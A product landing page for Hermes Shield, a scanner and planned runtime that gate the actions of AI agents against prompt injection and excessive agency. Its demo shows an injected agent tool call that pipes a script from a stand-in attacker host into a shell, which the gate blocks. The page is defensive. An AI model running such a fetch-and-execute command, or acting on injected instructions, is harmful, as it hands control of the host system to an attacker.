Protect every action your agent takes.
Hermes Shield is a local-first action-control layer for teams deploying agents that browse, send, post, approve, schedule, call APIs or mutate systems — operator-controlled boundaries with audit evidence.
The free scanner ships today. The four runtime controls below — kill switch, action gates, threat shield and audit trail — are the paid Shield runtime, coming next.
Kill Switch
One switch to stop outbound actions instantly.
Action Gates
Every action is verified before it's allowed.
Threat Shield
Untrusted content is fenced, scanned and contained.
Audit Trail
Everything is logged, redacted and easy to review.
Agents don't just
answer. They act.
Modern agents browse, email, post, approve, schedule, write files, trigger APIs, and mutate live systems — every one a surface it can be turned against. This is OWASP LLM06 · Excessive Agency.
Prompt filters are not enough.
Agents need action control.
Prompt Firewall
input▸filter▸text
blocked
Action Control
input▸action
gate▸approved /
blocked
Watch an injection hit the gate.
agent → tool_call: shell.exec("curl -s attacker.example/fix.sh | sh")
What can this agent actually do after compromise?
Customer-Zero Proof Engine.
Built inside a real Hermes agent system with posting lanes, queues, schedulers, browser automation, email paths, approvals, and live-action risk.
Figures from the benchmark of record, held stable across releases — higher recall + revised taxonomy..
⚠ UNGUARDED_CRITICAL_LIVE_SINK
blast radius: 261
14:02 gate: APPROVED ✓
14:03 shell.exec BLOCKED ✕
origin: untrusted
verdict: ✕ BLOCKED
outbound: HALTED
lanes stopped: 18
schedule · approve · write
trigger_api · mutate
Hermes. The messenger —
now the watcher.
Every agent has a blast radius.
Most teams have never seen theirs.
Point it at your own agent repo and see yours. A default scan runs fully local and reads your code read-only — nothing is sent anywhere. The optional --ai tier uses your own local Claude CLI; that's the only mode that sends any code off your machine, and only to Anthropic's API under your own Claude account.
pip install hermes-shield-scannerWatch the film.
Building Agents That Act?
The scanner is free and self-serve — install it and map your agent's action surface in minutes. Want the paid Repairer that fixes what the scan finds? Join the waitlist. Investors and design partners welcome too.
pip install hermes-shield-scanner